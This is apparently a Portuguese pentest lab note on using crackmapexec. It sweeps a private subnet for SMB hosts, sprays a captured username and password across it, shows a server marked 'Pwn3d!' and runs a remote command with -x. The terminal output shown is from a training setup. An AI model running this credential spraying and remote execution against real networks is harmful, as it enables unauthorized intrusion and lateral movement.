

Swiss Army Knife para Pentest

+ Usaremos aqui uma ferramenta chamada **crackmapexec**

+ É praticamente uma ferramenta de enumeração

+ Para varrer os hosts smb da nossa rede:

```
crackmapexec smb 172.16.1.0/24
```

```
root@pentesting:/home/dsec# crackmapexec smb 172.16.1.0/24
SMB 172.16.1.5 445 SERVER5 [*] Unix (name:SERVER5) (domain:SERVER5) (signing:False) (SMBv1:True)
SMB 172.16.1.60 445 SRVINT [*] Windows Server 2008 R2 Enterprise 7600 x64 (name:SRVINT) (domain:GBUSINESS)
(SMBv1:True)
SMB 172.16.1.4 445 WKS01 [*] Windows 5.1 (name:WKS01) (domain:GBUSINESS) (signing:False) (SMBv1:True)
SMB 172.16.1.107 445 SMB [*] Windows 6.1 (name:SMB) (domain:SMB) (signing:False) (SMBv1:True)
^CKeyboardInterrupt
```

→ Isso nos ajuda a entender um pouco melhor a maneira como a rede está estruturada

+ Podemos também passar credenciais de acesso que tenhamos obtido para que o programa tente usá-la nos hosts da nossa rede

```
crackmapexec smb 172.16.1.0/24 -u rogerio -p 'Roger@10'
```

```
crackmapexec is already the newest version (4.0.1+git20200118-0kali1).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
root@pentesting:/home/dsec# crackmapexec smb 172.16.1.0/24
SMB 172.16.1.5 445 SERVER5 [*] Unix (name:SERVER5) (domain:SERVER5) (signing:False) (SMBv1:True)
SMB 172.16.1.60 445 SRVINT [*] Windows Server 2008 R2 Enterprise 7600 x64 (name:SRVINT) (domain:GBUSINESS)
(SMBv1:True)
SMB 172.16.1.4 445 WKS01 [*] Windows 5.1 (name:WKS01) (domain:GBUSINESS) (signing:False) (SMBv1:True)
SMB 172.16.1.107 445 SMB [*] Windows 6.1 (name:SMB) (domain:SMB) (signing:False) (SMBv1:True)
^CKeyboardInterrupt
2020-03-27T04:29:25Z
root@pentesting:/home/dsec# crackmapexec smb 172.16.1.0/24 -u rogerio -p 'Roger@10'
SMB 172.16.1.5 445 SERVER5 [*] Unix (name:SERVER5) (domain:SERVER5) (signing:False) (SMBv1:True)
SMB 172.16.1.60 445 SRVINT [*] Windows Server 2008 R2 Enterprise 7600 x64 (name:SRVINT) (domain:GBUSINESS)
(SMBv1:True)
SMB 172.16.1.5 445 SERVER5 [-] SERVER5\rogerio:Roger@10 STATUS_LOGON_FAILURE
SMB 172.16.1.4 445 WKS01 [*] Windows 5.1 (name:WKS01) (domain:GBUSINESS) (signing:False) (SMBv1:True)
SMB 172.16.1.60 445 SRVINT [+] GBUSINESS\rogerio:Roger@10 (Pwn3d!)
SMB 172.16.1.4 445 WKS01 [-] GBUSINESS\rogerio:Roger@10 STATUS_TRUSTED_CONNECTION
SMB 172.16.1.107 445 SMB [*] Windows 6.1 (name:SMB) (domain:SMB) (signing:False) (SMBv1:True)
SMB 172.16.1.107 445 SMB [+] SMB\rogerio:Roger@10
^CKeyboardInterrupt
2020-03-27T04:30:31Z
root@pentesting:/home/dsec# crackmapexec smb 172.16.1.60 -u rogerio -p 'Roger@10'
```

```
root@pentesting:/home/dsec# crackmapexec smb 172.16.1.60 -u rogerio -p 'Roger@10' -x 'whoami'
SMB 172.16.1.60 445 SRVINT [*] Windows Server 2008 R2 Enterprise 7600 x64 (name:SRVINT) (domain:GBUSINESS)
(SMBv1:True)
SMB 172.16.1.60 445 SRVINT [+] GBUSINESS\rogerio:Roger@10 (Pwn3d!)
SMB 172.16.1.60 445 SRVINT [+] Executed command
SMB 172.16.1.60 445 SRVINT gbusiness\rogerio
```

+ Para mostrar todos os módulos que ela tem disponível, usaremos

```
crackmapexec smb 172.16.1.60 -u rogerio -p 'Roger@10' -L
```